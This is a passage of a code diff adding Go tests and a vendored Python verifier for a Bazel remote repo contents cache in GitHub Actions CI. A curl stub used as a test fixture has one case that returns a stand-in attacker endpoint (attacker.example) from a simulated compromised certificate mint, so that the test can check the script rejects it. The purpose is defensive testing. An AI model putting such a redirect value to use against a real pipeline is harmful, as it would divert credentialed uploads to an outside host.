s := range job.Steps { + if strings.Contains(s.Run, "experimental_remote_repo_contents_cache") || strings.Contains(s.Run, ".bazelrc.local") || + strings.Contains(s.Run, "remote_upload_local_results") { + t.Errorf("%s step %q reads or writes the repo contents cache; the cold fetch must not", bazelRRCVerifyJob, s.Name) + } + for k, v := range s.Env { + if strings.Contains(v, "secrets.") && s.Uses != bazelSetupBazelUses { + t.Errorf("%s step %q env %s reads a secret; only setup-bazel may", bazelRRCVerifyJob, s.Name, k) + } + } + } + fetch := rrcStep(t, job, "cold fetch", func(s ciWorkflowStep) bool { return strings.HasPrefix(s.Name, "Cold fetch") }) + if fetch.Run != "bash "+bazelRRCRunLanes+" -- --loading_phase_threads=64" { + t.Errorf("cold fetch runs %q; it must run every lane's command with no startup flag", fetch.Run) + } + verify := rrcStep(t, job, "verify", func(s ciWorkflowStep) bool { return s.ID == "verify" }) + for _, want := range []string{"python3 " + bazelRRCVerifyTool, `--cert "$secret_dir/client.crt"`, `--key "$secret_dir/client.key"`, "--instance oss", ".bazelversion", "remote_executor="} { + if !strings.Contains(verify.Run, want) { + t.Errorf("verify step lacks %q", want) + } + } + alert := rrcStep(t, job, "alert", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, "gh issue") }) + if alert.If != "${{ failure() && steps.verify.outcome == 'failure' }}" { + t.Errorf("alert step if %q; it must alert only on a failed comparison", alert.If) + } + if strings.Contains(alert.Run, "${{") { + t.Errorf("alert step interpolates an expression into its script; pass it through env") + } +} + +// permissionRank orders GitHub token permission levels so a grant can be +// compared with a request: write covers read, read covers none. +var permissionRank = map[string]int{"": 0, "none": 0, "read": 1, "write": 2} + +type permWorkflow struct { + Jobs map[string]struct { + Uses string `yaml:"uses"` + Permissions map[string]string `yaml:"permissions"` + } `yaml:"jobs"` +} + +// TestBazelWorkflowCallersGrantEveryRequestedPermission guards against +// startup_failure (gascity #7478): GitHub validates a reusable workflow's +// job permissions when the caller starts, including jobs whose `if:` would +// skip, so every workflow that calls bazel.yml must grant at least the +// highest level any bazel.yml job requests for each scope. +func TestBazelWorkflowCallersGrantEveryRequestedPermission(t *testing.T) { + root := sourceRepoRoot(t) + load := func(name string) permWorkflow { + var wf permWorkflow + if err := yaml.Unmarshal([]byte(readPolicyFile(t, root, ".github/workflows/"+name)), &wf); err != nil { + t.Fatalf("parse %s: %v", name, err) + } + return wf + } + need := map[string]string{} + for _, job := range load(bazelWorkflowName).Jobs { + for scope, level := range job.Permissions { + if permissionRank[level] > permissionRank[need[scope]] { + need[scope] = level + } + } + } + if need["id-token"] != "write" || need["issues"] != "write" { + t.Fatalf("bazel.yml requests %v; the parser is broken or the rrc jobs are gone", need) + } + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + var callers []string + for _, e := range entries { + name := e.Name() + if name == bazelWorkflowName || (!strings.HasSuffix(name, ".yml") && !strings.HasSuffix(name, ".yaml")) { + continue + } + for jobName, job := range load(name).Jobs { + if job.Uses != "./.github/workflows/"+bazelWorkflowName { + continue + } + callers = append(callers, name) + var missing []string + for scope, level := range need { + if permissionRank[job.Permissions[scope]] < permissionRank[level] { + missing = append(missing, scope+": "+level) + } + } + sort.Strings(missing) + if len(missing) > 0 { + t.Errorf("%s job %q calls %s without granting %s (startup_failure)", name, jobName, bazelWorkflowName, strings.Join(missing, ", ")) + } + } + } + sort.Strings(callers) + if want := []string{"bazel-farm.yml", "nightly.yml", "pr.yml"}; !slices.Equal(callers, want) { + t.Errorf("bazel.yml callers %v, want %v", callers, want) + } +} + +// rrcMintCurlStub stands in for curl in rrc-writer-credential.sh. The OIDC +// request (its URL carries audience=) logs the audience and authorization +// and answers a token. A mint request logs its Authorization header and +// answers as the space-separated RBE_TEST_MINT says, one word per request +// (the last repeats): ok (a certificate for the runner's key, CN +// rbe-rrc-writer-beads O=gascity), cn, endpoint, instance, otherkey, nocert +// (each wrong in that one way), 000 (connection refused) or an HTTP status +// with an error body. +const rrcMintCurlStub = `#!/usr/bin/env bash +set -euo pipefail +out= url= headers=() +while [ $# -gt 0 ]; do + case "$1" in + -o) out=$2; shift 2 ;; + -H) headers+=("$2"); shift 2 ;; + -w | --data | --connect-timeout | --max-time | --retry) shift 2 ;; + -*) shift ;; + *) url=$1; shift ;; + esac +done +case "$url" in +*audience=*) + echo "oidc audience=${url##*audience=} auth=${headers[0]}" >>"$RBE_TEST_MINT_LOG" + echo '{"value": "oidc-jwt-value"}' + exit 0 + ;; +esac +echo "mint $url auth=${headers[0]}" >>"$RBE_TEST_MINT_LOG" +n=$(grep -c '^mint ' "$RBE_TEST_MINT_LOG") +read -r -a answers <<<"$RBE_TEST_MINT" +i=$((n - 1)); [ "$i" -lt "${#answers[@]}" ] || i=$((${#answers[@]} - 1)) +answer=${answers[$i]} +key="$BAZEL_CI_SECRET_DIR/rrc-writer.key" cn=rbe-rrc-writer-beads endpoint=grpcs://rbe-west.ops.gascity.com:443 instance=oss +case "$answer" in +ok | cn | endpoint | instance | otherkey | nocert) ;; +000) echo "curl: (7) Failed to connect" >&2; exit 7 ;; +*) printf '{"error": "stub %s"}' "$answer" >"$out"; printf '%s' "$answer"; exit 0 ;; +esac +case "$answer" in +cn) cn=rbe-ci ;; +endpoint) endpoint=grpcs://attacker.example:443 ;; +instance) instance=main ;; +otherkey) openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out other.key 2>/dev/null; key=other.key ;; +esac +pem= +if [ "$answer" != nocert ]; then + pem=$(openssl req -new -x509 -key "$key" -subj "/O=gascity/CN=$cn" -days 1 2>/dev/null) +fi +jq -cn --arg pem "$pem" --arg e "$endpoint" --arg i "$instance" --arg cn "$cn" \ + '{cert_pem: $pem, endpoint: $e, instance: $i, cn: $cn}' >"$out" +printf 200 +` + +// TestRRCWriterCredential runs rrc-writer-credential.sh against a stubbed +// curl (rrcMintCurlStub): it asks GitHub for an OIDC token with audience +// rbe-rrc-writer, masks it, sends it to the mint, retries only 429, 502 and +// the network, treats 503 or an unreachable mint as seeding off (no +// outputs, exit 0), and accepts only a certificate for the key it generated, +// CN rbe-rrc-writer[-x] O=gascity, for rbe-west's endpoint and instance oss. +func TestRRCWriterCredential(t *testing.T) { + for _, tool := range []string{"bash", "jq", "openssl"} { + requireHostTool(t, tool) + } + script := filepath.Join(sourceRepoRoot(t), bazelRRCCredential) + for _, c := range []struct { + answers string + ok, off bool + mints int + }{ + {"ok", true, false, 1}, + {"429 ok", true, false, 2}, + {"502 ok", true, false, 2}, + {"000 ok", true, false, 2}, + {"502", false, false, 4}, + {"403", false, false, 1}, + {"401", false, false, 1}, + {"409", false, false, 1}, + {"cn", false, false, 1}, + {"endpoint", false, false, 1}, + {"instance", false, false, 1}, + {"otherkey", false, false, 1}, + {"nocert", false, false, 1}, + {"503", true, true, 1}, + {"000", true, true, 4}, + } { + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + if err := os.MkdirAll(bin, 0o755); err != nil { + t.Fatal(err) + } + for name, body := range map[string]string{"curl": rrcMintCurlStub, "sleep": "#!/bin/sh\nexit 0\n"} { + if err := os.WriteFile(filepath.Join(bin, name), []byte(body), 0o755); err != nil { + t.Fatal(err) + } + } + secret := filepath.Join(t.TempDir(), "secret") + output := filepath.Join(dir, "output") + out, err := runRRCScript(t, dir, "bash "+script, map[string]string{ + "PATH": bin + string(os.PathListSeparator) + os.Getenv("PATH"), + "BAZEL_CI_SECRET_DIR": secret, + "GITHUB_OUTPUT": output, + "ACTIONS_ID_TOKEN_REQUEST_URL": "https://token.invalid/oidc?api-version=2.0", + "ACTIONS_ID_TOKEN_REQUEST_TOKEN": "request-token", + "RBE_TEST_MINT": c.answers, + "RBE_TEST_MINT_LOG": filepath.Join(dir, "mint.log"), + }) + if (err == nil) != c.ok { + t.Errorf("%q: ok=%v, want %v\n%s", c.answers, err == nil, c.ok, out) + continue + } + log := readPolicyFile(t, dir, "mint.log") + if !strings.Contains(log, "oidc audience=rbe-rrc-writer auth=Authorization: bearer request-token\n") { + t.Errorf("%q: OIDC request %q", c.answers, log) + } + if got := strings.Count(log, "mint https://rbe-mint.ops.gascity.com:8444/v1/rrc-writer/cert auth=Authorization: Bearer oidc-jwt-value\n"); got != c.mints { + t.Errorf("%q: %d mint requests with the OIDC token, want %d:\n%s", c.answers, got, c.mints, log) + } + if !strings.Contains(out, "::add-mask::oidc-jwt-value") { + t.Errorf("%q: the OIDC token is not masked:\n%s", c.answers, out) + } + if !c.ok { + continue + } + if c.off { + if _, err := os.Stat(output); !os.IsNotExist(err) { + t.Errorf("%q: wrote outputs (%v); the seed must skip", c.answers, err) + } + if !strings.Contains(out, "seeding off (HTTP "+c.answers[len(c.answers)-3:]+")") { + t.Errorf("%q: no seeding-off warning:\n%s", c.answers, out) + } + continue + } + got := rrcOutputs(t, output) + for name, want := range map[string]string{ + "cert": filepath.Join(secret, "rrc-writer.crt"), "key": filepath.Join(secret, "rrc-writer.key"), + "endpoint": "grpcs://rbe-west.ops.gascity.com:443", "instance": "oss", + } { + if got[name] != want { + t.Errorf("%q: output %s=%q, want %q", c.answers, name, got[name], want) + } + } + if key := readPolicyFile(t, secret, "rrc-writer.key"); !strings.Contains(key, "-----BEGIN PRIVATE KEY-----") { + t.Errorf("%q: key is not PKCS#8 (Bazel's TLS refuses SEC1)", c.answers) + } + if fi, err := os.Stat(filepath.Join(secret, "rrc-writer.key")); err != nil || fi.Mode().Perm() != 0o600 { + t.Errorf("%q: key mode %v (%v), want 0600", c.answers, fi, err) + } + if _, err := os.Stat(filepath.Join(secret, "rrc-mint.json")); !os.IsNotExist(err) { + t.Errorf("%q: the mint reply stays on disk (%v)", c.answers, err) + } + } + + dir := t.TempDir() + if out, err := runRRCScript(t, dir, "bash "+script, map[string]string{ + "BAZEL_CI_SECRET_DIR": filepath.Join(t.TempDir(), "secret"), "GITHUB_OUTPUT": filepath.Join(dir, "output"), + }); err == nil || !strings.Contains(out, "id-token: write") { + t.Errorf("without an OIDC request URL: err %v, want a failure naming id-token: write\n%s", err, out) + } +} + +// The writer credential script and rrc_verify.py with its unit test are byte +// copies of gascity's (gascity 78c0e5c6f198306b96fe854c18b4d72f16395ce7, +// #7467), canonical there like tools/bazel/ci_analytics_extract.py: the +// pins catch a local edit that would drift out of lockstep. +var bazelRRCVendored = map[string]string{ + bazelRRCCredential: "021788a724876bd1df7e5c117a4b3e1e60c5b25bb18bca472d61c35a08cb1fac", + bazelRRCVerifyTool: "00d50e569e2a50d8ef3d2740460de7337b71afd14dc76d2d2442dbd162236f94", + bazelRRCVerifyTest: "d934f13b466660f3148cf3c8dc7273803b4417f2a52f4edc2dd2f43afb93bfaa", +} + +func TestBazelRRCVendoredFromGascity(t *testing.T) { + root := sourceRepoRoot(t) + for path, want := range bazelRRCVendored { + sum := sha256.Sum256([]byte(readPolicyFile(t, root, path))) + if got := hex.EncodeToString(sum[:]); got != want { + t.Errorf("%s sha256 = %s, want %s: it drifted from gascity's copy, or gascity changed it and this pin (and the copy) needs updating", path, got, want) + } + } +} + +// TestRRCVerifyUnitTests runs gascity's rrc_verify_test.py in place: the +// AC key construction pinned against Bazel 9.3.0's own writes, the +// roll-forward of intermediate entries, a poisoned entry, and a GUID for +// .bazelversion's release. +func TestRRCVerifyUnitTests(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + cmd := exec.Command(python, filepath.Join(root, bazelRRCVerifyTest), "-v") + cmd.Dir = filepath.Join(root, "tools", "bazel") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("%s failed: %v\n%s", bazelRRCVerifyTest, err, out) + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go index e76b9ad02..1dfbb353a 100644 --- a/scripts/ci_analytics_workflow_test.go +++ b/scripts/ci_analytics_workflow_test.go @@ -34,6 +34,8 @@ var ciAnalyticsExcludedJobs = map[string]string{ "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", "bazel-release-cross": "one bazel-release-cross-compile.sh run with no BEP/exec-log/profile capture, as when it was a bazel-pure step", + "rrc-seed": "the remote repo contents cache writer: --nobuild analysis on push to main, no test lane to summarize", + "rrc-verify": "the remote repo contents cache's nightly check: --nobuild cold fetches, no test lane to summarize", } // ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index d9b6e5fbc..77236fb98 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -580,8 +580,8 @@ func TestBlacksmithBazelRunnerSizes(t *testing.T) { for _, mode := range []string{"remote", "fork-ro", "fork-rw", "local", "cache", "skip"} { ctx := map[string]string{"needs.rbe.outputs.mode": mode} for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // rrc jobs: push/schedule only, never a fork (literal label) } want := "ubuntu-latest" if mode == "remote" { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5775326b9..24b8d8272 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1779,7 +1779,7 @@ const ( // bazel.yml's jobs: the rbe job that decides the execution mode, the // --config=ci lane, one job per CI job a Bazel config mirrors, and the two // package gates (F3), sorted alphabetically to match TestBazelWorkflowJobsAndExecutionMode's sort.Strings. -var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} +var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName, bazelRRCSeedJob, bazelRRCVerifyJob} // The lanes that only run remotely (skipped unless the rbe job chose remote); // bazel-integration runs remotely or with the read-only cache (bazelIntegIf); @@ -2148,6 +2148,9 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) } + if isBazelRRCJob(name) { + continue // runner, if and setup-bazel: bazel_rrc_test.go + } // F3: the package gates use larger runners (bazelPackageRunsOn) and // their own if (the caller's package-gates input, not the rbe job's // mode - they never skip for execution-mode reasons). @@ -2711,8 +2714,8 @@ func TestBazelLaneIsGated(t *testing.T) { "rbe-mode": "${{ jobs." + bazelRBEJobName + ".outputs.mode }}", } for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // the rrc jobs never run in a PR call (bazel_rrc_test.go) } _, gated := bazelLaneGateIDs[name] _, advisory := bazelAdvisoryLanes[name] @@ -2756,14 +2759,15 @@ func TestBazelLaneIsGated(t *testing.T) { } // One caller on PR events: pr.yml's bazel job, with the four RBE secrets - // only, read-only contents, and no if (the rbe job decides). + // only, bazelCallPermissions (contents: read, plus what the rrc jobs, + // which never run on a PR, ask for), and no if (the rbe job decides). pr := readCIWorkflow(t, "pr.yml") bazel := pr.job(t, "bazel") if bazel.Uses != "./.github/workflows/"+bazelWorkflowName || bazel.If != "" || len(bazel.Needs) != 0 { t.Errorf("pr.yml bazel job uses=%q if=%q needs=%v; want an unconditional call of %s", bazel.Uses, bazel.If, bazel.Needs, bazelWorkflowName) } - if !reflect.DeepEqual(bazel.Permissions, map[string]any{"contents": "read"}) { - t.Errorf("pr.yml bazel job permissions = %v, want contents: read", bazel.Permissions) + if !reflect.DeepEqual(bazel.Permissions, bazelCallPermissions) { + t.Errorf("pr.yml bazel job permissions = %v, want %v", bazel.Permissions, bazelCallPermissions) } if !reflect.DeepEqual(bazel.With, bazelPRCallWith) { t.Errorf("pr.yml bazel job with = %v, want exactly %v (no rbe or other override)", bazel.With, bazelPRCallWith) @@ -3039,6 +3043,11 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string // bazelAdvisoryLanes' name-specific exception in // TestBazelGateSimulation below). return map[string]bool{"remote": true} + case bazelRRCSeedJobIf, bazelRRCVerifyJobIf: + // The remote repo contents cache's writer (push to main) and + // nightly check (schedule, dispatch): never in a pull_request, + // merge_group or pull_request_target call, in any mode. + return map[string]bool{} } t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) return nil @@ -4182,12 +4191,13 @@ func TestBazelDoltServerTiers(t *testing.T) { }{ // +2 over the earlier counts: the CI analytics summary/upload steps // (S3; see bazel-test's "CI analytics summary" comment), added to - // every lane job ahead of the result recorder. - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 10}, + // every lane job ahead of the result recorder. +1: the remote repo + // contents cache reader (TestBazelRRCReadSteps). + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 11}, // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- // latency-study.md recommendation 4), since this is the tier whose // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 11}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 12}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { @@ -4195,7 +4205,7 @@ func TestBazelDoltServerTiers(t *testing.T) { } assertBazelTierStep(t, job, c.job, c.config) if n := len(job.Steps); n != c.wantSteps { - t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) + t.Errorf("%s has %d steps, want %d (checkout, the rrc reader, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -4787,12 +4797,15 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { "enabled": "${{ steps.decide.outputs.enabled }}", "mode": "${{ steps.decide.outputs.mode }}", "tier": "${{ steps.decide.outputs.tier }}", + // The remote repo contents cache's switch, from decide's mode + // (TestBazelRRCModeStep). + "rrc": "${{ steps.rrc.outputs.rrc }}", } if !reflect.DeepEqual(job.Outputs, wantOutputs) { t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) } - if len(job.Steps) != 3 { - t.Fatalf("%s has %d steps, want the decision step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) + if len(job.Steps) != 4 { + t.Fatalf("%s has %d steps, want the decision step, the rrc step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) } step := job.Steps[0] wantEnv := map[string]string{ diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index a9d849f24..8958859f2 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -367,21 +367,21 @@ func TestRBEWorkerEnvSync(t *testing.T) { // mode the lanes read is decide's alone. func TestBazelRBEWorkerEnvPreflight(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) - if len(job.Steps) != 3 || job.Steps[0].ID != "decide" { - t.Fatalf("%s steps = %d (first %q), want decide, the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) + if len(job.Steps) != 4 || job.Steps[0].ID != "decide" || job.Steps[1].ID != bazelRRCModeStepID { + t.Fatalf("%s steps = %d (first %q), want decide, rrc (TestBazelRRCModeStep), the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) } if !strings.Contains(job.Steps[0].Run, `case "$mode" in remote|fork-ro|fork-rw) enabled=true ;; esac`) { t.Errorf("%s decide no longer sets enabled exactly for the remote modes; the preflight's if depends on it", bazelRBEJobName) } - checkout, check := job.Steps[1], job.Steps[2] + checkout, check := job.Steps[2], job.Steps[3] if actionFamily(checkout.Uses) != "actions/checkout" || checkout.If != rbeWorkerEnvEnabledIf || checkout.With["sparse-checkout"] != bazelRBESparseCheckout { - t.Errorf("%s step 2: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", + t.Errorf("%s step 3: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", bazelRBEJobName, checkout.Uses, checkout.If, checkout.With["sparse-checkout"], bazelRBESparseCheckout, rbeWorkerEnvEnabledIf) } wantEnv := map[string]string{"MODE": "${{ steps.decide.outputs.mode }}"} if check.If != rbeWorkerEnvEnabledIf || check.ID != "" || check.Uses != "" || check.ContinueOnError != nil || !reflect.DeepEqual(check.Env, wantEnv) || !strings.Contains(check.Run, "tools/rbe/worker-env-sync main") { - t.Errorf("%s step 3: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", + t.Errorf("%s step 4: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", bazelRBEJobName, check.If, check.ID, check.Uses, check.ContinueOnError, check.Env, rbeWorkerEnvEnabledIf, wantEnv) } @@ -427,8 +427,11 @@ func TestNightlyWorkerEnvSyncOpensIssue(t *testing.T) { } for name, job := range nightly.Jobs { want := any(nil) - if name == nightlyWorkerEnvJob { + switch name { + case nightlyWorkerEnvJob: want = map[string]any{"contents": "read", "issues": "write"} + case "bazel": // the bazel.yml call: what its rrc jobs ask for + want = bazelCallPermissions } if !reflect.DeepEqual(job.Permissions, want) { t.Errorf("nightly.yml job %s permissions = %v, want %v", name, job.Permissions, want) diff --git a/scripts/tracked_files_test.go b/scripts/tracked_files_test.go index 1fd09c3af..fddeeea12 100644 --- a/scripts/tracked_files_test.go +++ b/scripts/tracked_files_test.go @@ -67,6 +67,16 @@ const ( publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` ) +// publicRRCWriterPin: rrc-writer-credential.sh (a byte copy of gascity's) +// pins the one endpoint rbe-west's mint may hand the remote repo contents +// cache writer (rbe-west, :443), so a compromised mint cannot point the +// writer's uploads elsewhere. Public, no credential: allowed as exactly +// this line, in exactly that file. +const ( + publicRRCWriterPinFile = ".github/scripts/rrc-writer-credential.sh" + publicRRCWriterPinLine = `ENDPOINT_RE=${RBE_RRC_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-west\.ops\.gascity\.com(:443)?$'}` +) + type endpointHit struct { path string line int @@ -121,7 +131,8 @@ func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { continue } - if path == publicRBEForkPinFile && line == publicRBEForkPinLine { + if path == publicRBEForkPinFile && line == publicRBEForkPinLine || + path == publicRRCWriterPinFile && line == publicRRCWriterPinLine { continue } for _, re := range flagRes { diff --git a/tools/bazel/rrc_verify.py b/tools/bazel/rrc_verify.py new file mode 100644 index 000000000..779b49483 --- /dev/null +++ b/tools/bazel/rrc_verify.py @@ -0,0 +1,620 @@ +#!/usr/bin/env python3 +"""Verify rbe-west's remote repo contents cache against a cold fetch (ga-vnycm2.26). + +Bazel's --experimental_remote_repo_contents_cache stores each reproducible +external repository as the ActionResult of a synthetic, never executed action +keyed by the repository rule's predeclared-inputs hash +(RemoteRepoContentsCacheImpl, engdocs/design/bazel-remote-repo-contents-cache.md). +Nothing on the reader checks that the cached tree is what the rule produces: +that is the work the cache skips. So, nightly, this job fetches every lane's +repositories cold, without the cache, and compares each repository's tree and +marker file with the entry a lane would read for the same key. A mismatch is +a poisoned entry or a repository rule falsely marked reproducible (design +R1/R2); both must be looked at by a human. + +Inputs: the cold output base (setup-bazel's rc: --repo_contents_cache= keeps +each repository in external/ with its marker external/@.marker) +and read access to the cache (rbe-west's trusted edge with the CI client +certificate, or any REAPI endpoint). For each marker, it walks the action +cache as the reader does: the final entry under the predeclared hash, or +intermediate entries whose stdout lists batches of recorded inputs, whose +values it takes from the cold marker and rolls into the next key +(Fingerprint: sha256 over length-prefixed UTF-8 strings). The final entry's +marker must equal the cold marker byte for byte, and its tree (the Tree +proto, read from the CAS) must hold the same names, file digests, executable +bits and symlink targets as the cold directory. + +Transport: unary and server-streaming gRPC over curl's HTTP/2 with the +standard library's protobuf-free wire decoding, as tools/rbe/cache-zstd-probe.sh +does: no grpc package on a job that holds a farm credential. + +Exit status: 0 every cached repository matches; 1 a mismatch or an invalid +entry; 2 a usage error or too many transport failures to tell. +""" + +from __future__ import annotations + +import argparse +import concurrent.futures +import dataclasses +import hashlib +import json +import os +import stat +import subprocess +import sys +import tempfile +from typing import Callable, Iterable, Optional + +# RemoteRepoContentsCacheImpl.GUID per Bazel release: the synthetic Command's +# only argument, so every key depends on it. A .bazelversion bump adds its +# release here (scripts/bazel_rrc_test.go checks .bazelversion has one). +BAZEL_RRC_GUIDS = { + "9.3.0": "06a53d89-9f52-46ed-8064-f7af6ba27769", +} +MARKER_FILE_PATH = ".recorded_inputs" +REPO_DIRECTORY_PATH = "repo_contents" +EMPTY_SHA256 = hashlib.sha256(b"").hexdigest() +GRPC_NOT_FOUND = 5 +MAX_CHAIN = 64 # intermediate hops per repository +MAX_DIFFS = 20 # per repository, in the report + + +# --- protobuf wire format --------------------------------------------------- + + +def _varint(n: int) -> bytes: + out = bytearray() + while True: + b = n & 0x7F + n >>= 7 + if n: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def _field(num: int, payload: bytes) -> bytes: + return _varint(num << 3 | 2) + _varint(len(payload)) + payload + + +def _field_varint(num: int, v: int) -> bytes: + return _varint(num << 3) + _varint(v) + + +def _read_varint(b: bytes, i: int) -> tuple[int, int]: + v = s = 0 + while True: + if i >= len(b) or s > 63: + raise ValueError("truncated varint") + c = b[i] + i += 1 + v |= (c & 0x7F) << s + s += 7 + if c < 0x80: + return v, i + + +def fields(b: bytes) -> Iterable[tuple[int, int, object]]: + """Yields (field number, wire type, value) for one message.""" + i = 0 + while i < len(b): + key, i = _read_varint(b, i) + num, wire = key >> 3, key & 7 + if wire == 0: + v, i = _read_varint(b, i) + elif wire == 1: + v, i = b[i : i + 8], i + 8 + elif wire == 2: + n, i = _read_varint(b, i) + v, i = b[i : i + n], i + n + elif wire == 5: + v, i = b[i : i + 4], i + 4 + else: + raise ValueError("wire type %d" % wire) + if i > len(b): + raise ValueError("truncated field %d" % num) + yield num, wire, v + + +@dataclasses.dataclass(frozen=True) +class Digest: + hash: str + size: int + + def encode(self) -> bytes: + out = _field(1, self.hash.encode()) + if self.size: + out += _field_varint(2, self.size) + return out + + @staticmethod + def decode(b: bytes) -> "Digest": + h, size = "", 0 + for num, _, v in fields(b): + if num == 1: + h = bytes(v).decode() + elif num == 2: + size = int(v) + return Digest(h, size) + + @staticmethod + def of(data: bytes) -> "Digest": + return Digest(hashlib.sha256(data).hexdigest(), len(data)) + + +def command_bytes(guid: str) -> bytes: + """RemoteRepoContentsCacheImpl.COMMAND, serialized in field order.""" + return ( + _field(1, guid.encode()) # arguments + + _field(3, MARKER_FILE_PATH.encode()) # output_files + + _field(4, REPO_DIRECTORY_PATH.encode()) # output_directories + + _field(5, b"") # platform: the default instance, set + + _field(7, MARKER_FILE_PATH.encode()) # output_paths + + _field(7, REPO_DIRECTORY_PATH.encode()) + ) + + +def action_digest(guid: str, input_hash: str) -> Digest: + """The AC key the cache uses for input_hash (buildAction).""" + action = ( + _field(1, Digest.of(command_bytes(guid)).encode()) # command_digest + + _field(2, Digest(EMPTY_SHA256, 0).encode()) # input_root_digest + + _field(9, input_hash.encode("latin-1")) # salt + + _field(10, b"") # platform + ) + return Digest.of(action) + + +def _bazel_string(s: str) -> bytes: + # Bazel holds file contents read as ISO-8859-1 in Java Strings and + # Fingerprint.addString writes those Strings as UTF-8. + return s.encode("utf-8") + + +def roll_forward(hash_: str, recorded_input_with_value: str) -> str: + """RemoteRepoContentsCacheImpl.rollForwardHash.""" + out = hashlib.sha256() + for s in (hash_, recorded_input_with_value): + b = _bazel_string(s) + out.update(_varint(len(b)) + b) + return out.hexdigest() + + +# --- REAPI messages --------------------------------------------------------- + + +@dataclasses.dataclass +class ActionResult: + exit_code: int = 0 + output_files: list = dataclasses.field(default_factory=list) # (path, Digest, is_executable, contents) + output_directories: list = dataclasses.field(default_factory=list) # (path, tree Digest) + symlinks: int = 0 + stdout_raw: bytes = b"" + stdout_digest: Optional[Digest] = None + stderr_size: int = 0 + + @staticmethod + def decode(b: bytes) -> "ActionResult": + r = ActionResult() + for num, _, v in fields(b): + if num == 2: + path, dg, exe, contents = "", None, False, b"" + for n2, _, v2 in fields(v): + if n2 == 1: + path = bytes(v2).decode() + elif n2 == 2: + dg = Digest.decode(v2) + elif n2 == 4: + exe = bool(v2) + elif n2 == 5: + contents = bytes(v2) + r.output_files.append((path, dg, exe, contents)) + elif num == 3: + path, tree = "", None + for n2, _, v2 in fields(v): + if n2 == 1: + path = bytes(v2).decode() + elif n2 == 3: + tree = Digest.decode(v2) + r.output_directories.append((path, tree)) + elif num == 4: + r.exit_code = int(v) + elif num == 5: + 